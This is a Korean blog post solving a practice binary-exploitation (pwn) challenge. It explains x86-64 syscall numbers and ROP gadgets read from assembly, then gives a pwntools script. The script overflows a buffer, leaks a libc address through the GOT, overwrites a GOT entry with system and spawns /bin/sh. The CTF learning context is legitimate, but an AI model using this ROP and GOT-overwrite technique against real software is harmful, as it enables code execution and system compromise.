티스토리 뷰
동아리 선배들한테 받은 문제
이 문제는 어셈으로 만들어져서 ida의 디컴파일의 기능이 안먹는다.
직접 어셈보고 해석한 문제
https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/
테이블을 보면
sys_read는 eax 가 0
sys_write는 eax 가 1이다.
가젯들은 명령들이 ret을 만날때까지 실행한다.
그 예로
stdout_sys 에 해당되는 명령어는
eax 를 1로 설정하고
sys_read를 실행하고 입력을 받는다.
그후 eax를 0으로 다시 설정하고 끝낸다.
덕분에 sys_read를 받을땐 eax를 설정해줄 필요가 없다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
|
from pwn import *
p = process("./pwn1_")
e = ELF('./pwn1_')
l = e.libc
prdi = 0x0000000000400683
pprsi = 0x0000000000400681
syscall = 0x0000000000400581
stdout_sys = 0x0000000000400561
binsh = 0x000000000601064
#stdout_sys in the ida ;
#set eax = 1 / (before) syscall
#then,
#doing put the value in u2
#so sendline('/bin/sh\x00')
#and set eax = 0
#syscall gadget in the ida;
#syscall / (before) set eax = 0
#in the syscall table 'eax = 0' is sys_read
#in the syscall table 'eax = 1' is sys_write
#binsh have '/bin/sh\x00'
l_s_m_plt = e.plt['__libc_start_main']
l_s_m_got = e.got['__libc_start_main']
p.send('/bin/sh\x00')
p.send('/bin/sh\x00')
pay = "A" * 0x20
pay += "B" * 0x8
pay += p64(prdi)
pay += p64(1)
pay += p64(pprsi)
pay += p64(l_s_m_got)
pay += p64(0)
pay += p64(stdout_sys)
pay += p64(prdi)
pay += p64(0)
pay += p64(pprsi)
pay += p64(l_s_m_got)
pay += p64(0)
pay += p64(syscall)
pay += p64(prdi)
pay += p64(binsh)
pay += p64(l_s_m_plt)
p.send(pay)
p.recvuntil('\n')
base = u64(p.recv(6).ljust(8, '\x00')) - l.symbols['__libc_start_main']
system = base + l.symbols['system']
p.sendline('/bin/sh\x00')
# in the syscall
p.send(p64(system))
p.recv()
p.interactive()
|
cs |
댓글